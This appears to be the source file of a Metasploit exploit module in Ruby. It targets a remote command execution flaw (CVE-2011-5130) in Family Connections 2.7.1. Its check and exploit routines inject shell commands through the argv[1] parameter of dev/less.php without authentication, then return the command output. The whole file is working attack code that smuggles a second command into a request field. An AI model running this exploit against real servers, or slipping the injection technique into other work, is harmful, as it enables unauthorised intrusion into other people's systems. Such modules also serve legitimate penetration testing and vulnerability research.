100 lines
3.1 KiB
Ruby
100 lines
3.1 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info={})
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super(update_info(info,
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'Name' => 'Family Connections less.php Remote Command Execution',
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'Description' => %q{
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This module exploits an arbitrary command execution vulnerability in
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Family Connections 2.7.1. It's in the dev/less.php script and is due
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to an insecure use of system(). Authentication isn't required to exploit
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the vulnerability but register_globals must be set to On.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'mr_me <steventhomasseeley[at]gmail.com>', # Vulnerability discovery and exploit
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'juan vazquez' # Metasploit module
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],
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'References' =>
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[
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[ 'CVE', '2011-5130' ],
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[ 'OSVDB', '77492' ],
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[ 'URL', 'https://www.familycms.com/blog/2011/11/security-vulnerability-fcms-2-5-2-7-1/' ],
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[ 'URL', 'http://sourceforge.net/apps/trac/fam-connections/ticket/407' ],
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[ 'URL', 'http://rwx.biz.nf/advisories/fc_cms_rce_adv.html' ],
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[ 'EDB', '18198' ]
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],
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'Privileged' => false,
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'Payload' =>
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{
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'generic telnet perl ruby python',
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}
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},
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'Platform' => %w{ linux unix },
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'Arch' => ARCH_CMD,
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'Targets' => [['Automatic',{}]],
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'DisclosureDate' => 'Nov 29 2011',
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'DefaultTarget' => 0
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))
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register_options(
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[
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OptString.new('URI', [true, "The path to the Family Connections main site", "/fcms/"]),
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],self.class)
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end
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def check
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uri = normalize_uri(datastore['URI'])
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uri += (normalize_uri(datastore['URI'])[-1, 1] == "/") ? "dev/less.php" : "/dev/less.php"
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mark = Rex::Text.rand_text_alpha(rand(5) + 5)
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res = send_request_cgi({
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'uri' => uri,
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'vars_get' => { 'argv[1]' => "|echo #{mark};#" }
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}, 25)
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if res and res.code == 200 and res.body =~ /#{mark}/
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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uri = normalize_uri(datastore['URI'])
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uri += (normalize_uri(datastore['URI'])[-1, 1] == "/") ? "dev/less.php" : "/dev/less.php"
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start_mark = Rex::Text.rand_text_alpha(rand(5) + 5)
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end_mark = Rex::Text.rand_text_alpha(rand(5) + 5)
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custom_payload = "|echo #{start_mark};#{payload.encoded};echo #{end_mark};#"
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res = send_request_cgi({
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'uri' => uri,
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'vars_get' => { 'argv[1]' => custom_payload }
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}, 25)
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if res and res.code == 200 and res.body =~ /#{start_mark}/
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# Prints output when using cmd/unix/generic
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result = res.body.split(/#{start_mark}/)[1].split(/#{end_mark}/)[0]
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if not result.strip.empty?
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print_status("Result of the command:\n#{result}")
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end
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end
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end
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end
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